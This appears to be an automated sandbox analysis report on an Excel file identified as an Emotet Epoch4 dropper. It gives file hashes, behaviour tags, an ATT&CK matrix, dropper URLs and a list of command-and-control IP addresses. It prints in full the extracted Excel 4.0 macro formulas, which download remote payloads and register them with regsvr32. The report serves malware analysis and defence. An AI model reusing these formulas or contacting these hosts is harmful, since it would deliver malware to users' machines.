Overview

overview

10

Static

static

10

34d22071c3...53.xls

windows7-x64

10

34d22071c3...53.xls

windows10-2004-x64

10

Sharing

Copy URL
Twitter E-mail

General

  • Target

    34d22071c39d6bd314e403e8eba0c753.xlsx

  • Size

    89KB

  • Sample

    230405-pbfwsaee73

  • MD5

    34d22071c39d6bd314e403e8eba0c753

  • SHA1

    8a9f2ebc44e1dd885e36541d9064f43e98b9fcac

  • SHA256

    6d5a6f627ed27921596c22ca0344dd70495549c8b3df17e2067f865980f78238

  • SHA512

    621a3b7b31b929f85075c14ad3277c86bd05437a374ab20fbc618c4b3b9f967163b35f0a52ea21a1b76a8163a7d7a4a30436c18ab00496c03769d291552d8315

  • SSDEEP

    1536:d6k3hOdsylKlgxopeiBNhZFGzE+cL2kdAdHuS4lcTO9Tv7UYdEJi9az:8k3hOdsylKlgxopeiBNhZFGzE+cL2kdy

Score
10/10
emotetepoch4bankermacrotrojanxlm

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

http://bruidsfotografie-breda.nl/cache/QPk/

http://www.chawkyfrenn.com/icon/JtT/

https://chiptochip.es/alojamiento-web/dofwXVVQ3hvsp/

http://chillpassion.com/wp-content/nd4wjKgokzKbKH0DQDD/
Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://bruidsfotografie-breda.nl/cache/QPk/","..\phdg1.ocx",0,0) =EXEC("C:\Windows\System32\regsvr32.exe /S ..\phdg1.ocx") =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.chawkyfrenn.com/icon/JtT/","..\phdg2.ocx",0,0) =EXEC("C:\Windows\System32\regsvr32.exe /S ..\phdg2.ocx") =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://chiptochip.es/alojamiento-web/dofwXVVQ3hvsp/","..\phdg3.ocx",0,0) =EXEC("C:\Windows\System32\regsvr32.exe /S ..\phdg3.ocx") =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://chillpassion.com/wp-content/nd4wjKgokzKbKH0DQDD/","..\phdg4.ocx",0,0) =EXEC("C:\Windows\System32\regsvr32.exe /S ..\phdg4.ocx") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

http://bruidsfotografie-breda.nl/cache/QPk/
xlm40.dropper

http://www.chawkyfrenn.com/icon/JtT/
xlm40.dropper

https://chiptochip.es/alojamiento-web/dofwXVVQ3hvsp/
xlm40.dropper

http://chillpassion.com/wp-content/nd4wjKgokzKbKH0DQDD/

Extracted

Family

emotet

Botnet

Epoch4

C2

172.104.251.154:8080

51.161.73.194:443

101.50.0.91:8080

91.207.28.33:8080

119.193.124.41:7080

150.95.66.124:8080

103.132.242.26:8080

37.187.115.122:8080

172.105.226.75:8080

131.100.24.231:80

196.218.30.83:443

79.137.35.198:8080

103.75.201.2:443

82.223.21.224:8080

153.126.146.25:7080

146.59.226.45:443

209.97.163.214:443

186.194.240.217:443

197.242.150.244:8080

45.118.115.99:8080
eck1.plain
ecs1.plain

Targets

    • Target

      34d22071c39d6bd314e403e8eba0c753.xlsx

    • Size

      89KB

    • MD5

      34d22071c39d6bd314e403e8eba0c753

    • SHA1

      8a9f2ebc44e1dd885e36541d9064f43e98b9fcac

    • SHA256

      6d5a6f627ed27921596c22ca0344dd70495549c8b3df17e2067f865980f78238

    • SHA512

      621a3b7b31b929f85075c14ad3277c86bd05437a374ab20fbc618c4b3b9f967163b35f0a52ea21a1b76a8163a7d7a4a30436c18ab00496c03769d291552d8315

    • SSDEEP

      1536:d6k3hOdsylKlgxopeiBNhZFGzE+cL2kdAdHuS4lcTO9Tv7UYdEJi9az:8k3hOdsylKlgxopeiBNhZFGzE+cL2kdy

    Score
    10/10
    emotetepoch4bankertrojan

    • Emotet

      Emotet is a trojan that is primarily spread through spam emails.

      trojanbankeremotet

    • Process spawned unexpected child process

      This typically indicates the parent process was compromised via an exploit or macro.

    • Downloads MZ/PE file

    • Loads dropped DLL

    behavioral1behavioral2

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1
T1112

Credential Access

Discovery

Query Registry

2
T1012

System Information Discovery

2
T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Tasks